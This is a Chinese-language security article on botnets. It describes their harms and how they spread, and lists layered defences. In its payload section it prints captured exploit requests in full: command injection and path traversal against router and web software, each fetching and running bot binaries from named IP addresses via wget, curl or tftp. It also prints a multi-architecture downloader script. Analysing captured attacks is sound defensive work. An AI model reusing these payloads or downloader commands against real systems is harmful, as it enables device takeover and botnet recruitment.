引言
僵尸网络是一种由大量被恶意软件感染的计算机组成的网络,这些被感染的计算机被称为"僵尸"或"肉鸡"。攻击者可以远程控制这些僵尸计算机,利用它们进行各种恶意活动,如分布式拒绝服务(DDoS)攻击、垃圾邮件发送、数据窃取等。
僵尸网络的危害主要体现在以下几个方面:
大规模DDoS攻击:利用大量僵尸计算机同时向目标发起请求,导致服务器瘫痪。
信息窃取:通过僵尸网络收集用户敏感信息,如账号密码、银行卡信息等。
垃圾邮件传播:利用僵尸计算机大量发送垃圾邮件,传播恶意软件或进行诈骗。
计算资源滥用:攻击者可能利用被感染计算机的处理能力进行加密货币挖矿等活动。
了解僵尸网络的攻击手法和防范方式对于保护个人、企业和互联网基础设施的安全至关重要。接下来,我们将详细探讨僵尸网络的攻击技术以及相应的防御策略。
在当前的网络安全环境下,僵尸网络攻击仍然是一个严重的威胁。
攻击PAYLOAD
分析捕获的僵尸网络攻击,不难发现其通性,其攻击手段和流程基本相同,本篇主要在于介绍目前主流的僵尸网络攻击传播手法和对应的防范方式。
先看看几个服务器捕获的真实存在的僵尸网络攻击PayLoad:
//政务OA 捕捉
POST/cmd,/simZysh/register_main/setCookieHTTP/1.1
Content-Length:368
Content-Type:multipart/form-data;
boundary=977ea21afba94ac1f23e4f106b319c06a50a999541f3dca06c6934658305
User-Agent:Go-http-client/1.1
--977ea21afba94ac1f23e4f106b319c06a50a999541f3dca06c6934658305
Content-Disposition: form-data;
name="c0" storage_ext_cgi CGIGetExtStoInfo None) and False or
import("subprocess").check_output(
"cd /tmp; rm -rf shk; wget http://45.148.10.78/shk; chmod 777 \
shk; ./shk zyxel; rm -rf shk"
,shell=True)# --977ea21afba94ac1f23e4f106b319c06a50a999541f3dca06c6934658305--
//Websphere 捕捉
POST/goform/set_LimitClient_cfgHTTP/1.1
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding:gzip, deflate
Accept-Language:en-GB,en;q=0.5
Connection:close
Content-Length:134
Content-Type:application/x-www-form-urlencoded
Cookie:user=admin
Upgrade-Insecure-Requests:1
User-Agent:Linux Gnu (cow)
time1=00:00-00:00&time2=00:00-00:00&mac=;
rm -rf blink;
wget http://101.43.141.112/blink;
chmod 777 blink;
./blink blink;
rm -rf blink;
//政务OA 捕捉
POST/ztp/cgi-bin/handlerHTTP/1.1
Content-Length:305
Content-Type:application/json
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
{"command":"setWanPortSt",
"data":"rootsenpai on top",
"mtu":"\
cd /tmp; rm -rf shk; wget http://45.148.10.78/shk || \
curl http://45.148.10.78/shk || \
tftp 45.148.10.78 -c get shk || \
tftp -g -r shk 45.148.10.78; \
chmod 777 shk; \
./shk zyxel; \
rm -rf shk;",
"port":"4","proto":"dhcp","vlan_tagged":"1","vlanid":"5"}
//Coremail 捕捉
POST/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/shHTTP/1.1
Accept:*/*
Connection:keep-alive
Content-Length:105
Content-Type:text/plain
Upgrade-Insecure-Requests:1
User-Agent:Custom-AsyncHttpClient
X=$(curl http://185.172.128.93/sh ||
wget http://185.172.128.93/sh -O-);
echo "$X" | sh -s apache.selfrep
PayLoad分析
不难发现其共性,通过PayLoad向bot服务器直接下载对应僵尸程序并运行,当然稍微复杂一点的会先下载一个下载器脚本,通过该脚本可以实现隐藏下载的僵尸程序并清除痕迹。
同时我们对其download的脚本文件进行查看,不难发现其通性,通常来说该类下载器脚本会下载多个不同种类的僵尸程序或蠕虫程序以适配不同平台架构的设备,这其中不乏存在针对ARM架构类型定制的恶意程序,该类程序能够入侵物联网设备并长时间潜伏,一旦接收到僵尸网络节点的攻击指令,即可向目标发起网络攻击,该类恶意程序的特点是 潜伏周期长 不易发现,因此危害性很高。
其下载器脚本通常如下所示形式:
#母样本内容如下:
cd /tmp; wget <http://178.215.236.209/M>; chmod 777 M; ./M; rm -rf M
cd /tmp; wget <http://178.215.236.209/MS>; chmod 777 MS; ./MS; rm -rf MS
cd /tmp; wget <http://178.215.236.209/SH>; chmod 777 SH; ./SH; rm -rf SH
cd /tmp; wget <http://178.215.236.209/x86>; chmod 777 x86; ./x86; rm -rf x86
cd /tmp; wget <http://178.215.236.209/A6>; chmod 777 A6; ./A6; rm -rf A6
cd /tmp; wget <http://178.215.236.209/I6>; chmod 777 I6; ./I6; rm -rf I6
cd /tmp; wget <http://178.215.236.209/PPC>; chmod 777 PPC; ./PPC; rm -rf PPC
cd /tmp; wget <http://178.215.236.209/I5>; chmod 777 I5; ./I5; rm -rf I5
cd /tmp; wget <http://178.215.236.209/M68>; chmod 777 M68; ./M68; rm -rf M68
cd /tmp; wget <http://178.215.236.209/A5>; chmod 777 A5; ./A5; rm -rf A5
cd /tmp; wget <http://178.215.236.209/A4-TL>; chmod 777 A4-TL; ./A4-TL; rm -rf A4-TL
cd /tmp; wget <http://178.215.236.209/I4>; chmod 777 I4; ./I4; rm -rf I4
cd /tmp; wget <http://178.215.236.209/M64>; chmod 777 M64; ./M64; rm -rf M64
蠕虫样本分析
我们曾对一个境外的僵尸网络攻击样本进行了分析,具体可以看:
攻击流程手法
根据上述攻击拓扑图可见其攻击流程和基本手法:
① 建立C&C命令控制服务器,用于代理下发攻击方攻击指令等内容(攻击方与命令控制服务器使用私有IRC通道通讯,并且这类控制服务器一般为境外服务器或自建服务器)
②通过感染第一台主机来触发传播,感染后的主机变为bot僵尸主机,在与命令控制服务器通讯的同时,通过扫描目标局域网内其他主机并对其进行口令爆破等方式进行自动传播,被感染的主机均会连接命令控制服务器并尝试攻击局域网内其他主机进行感染传播。
③潜伏期,和生物定义病毒一样,主机被感染后一般不会快速做出反应,通常会进行潜伏并传播,通常这类样本会隔较长一段时间与命令控制服务器进行通讯以交换数据,在没有动作命令下发前,所有bot僵尸主机均会静默等待指令。
④当攻击方向命令控制服务器传输攻击指令后,命令控制服务器将批量下发攻击指令给所有bot僵尸主机,这类攻击指令通常包含目标主机信息、时间、攻击类型、持续时间等基本信息。当bot僵尸主机接收到攻击命令后便会向目标主机发起攻击(ddos等攻击)。
⑤数据回传,当攻击结束后,bot僵尸主机会统计此次攻击信息并回传服务器,以供攻击者对本次攻击成效进行分析查看
同时,我们通过对部分样本的分析,发现多数样本不只含有ddos攻击模块,还含有多种威胁攻击模块,通常包括:ssh爆破模块、UDP泛洪攻击模块、进程操作模块、本地信息获取模块、各类注入攻击模块、挖矿模块等等。这类攻击模块的加入使其更具威胁性。
防御方式
由于僵尸网络的普遍性,我们应使用多层次、全方位的防御体系格局。
下面是一些有效的防御方式:
网络安全监控:实时监控网络流量,及时发现异常行为和可疑连接。
防火墙和入侵检测系统(IDS):配置合适的防火墙规则,使用IDS检测潜在的恶意活动。
及时更新和补丁:定期更新操作系统和应用程序安全更新,修复已知漏洞(尤其是安全补丁更新)。
强密码策略:使用复杂的密码或密码短语,定期更换密码,防止被暴力破解。
网络分段:将网络划分为不同的安全区域,限制潜在攻击的传播范围在较小范围内。
安全意识培训:”当安全技术发展到一定程度时,人就是最大的弱点“,我们应提高相关安全意识培训
终端保护:在所有设备上安装和维护最新的防病毒和反恶意软件程序。
网络行为分析:使用机器学习和AI技术分析网络行为,检测异常模式。
安全配置管理:确保所有系统和设备都采用安全的默认配置。
定期安全审计:进行定期的安全评估和渗透测试,发现潜在的弱点。
通过综合应用这些防御措施,可以大大降低成为僵尸网络一部分的风险,同时提高整体网络安全性。
作者:林敬勤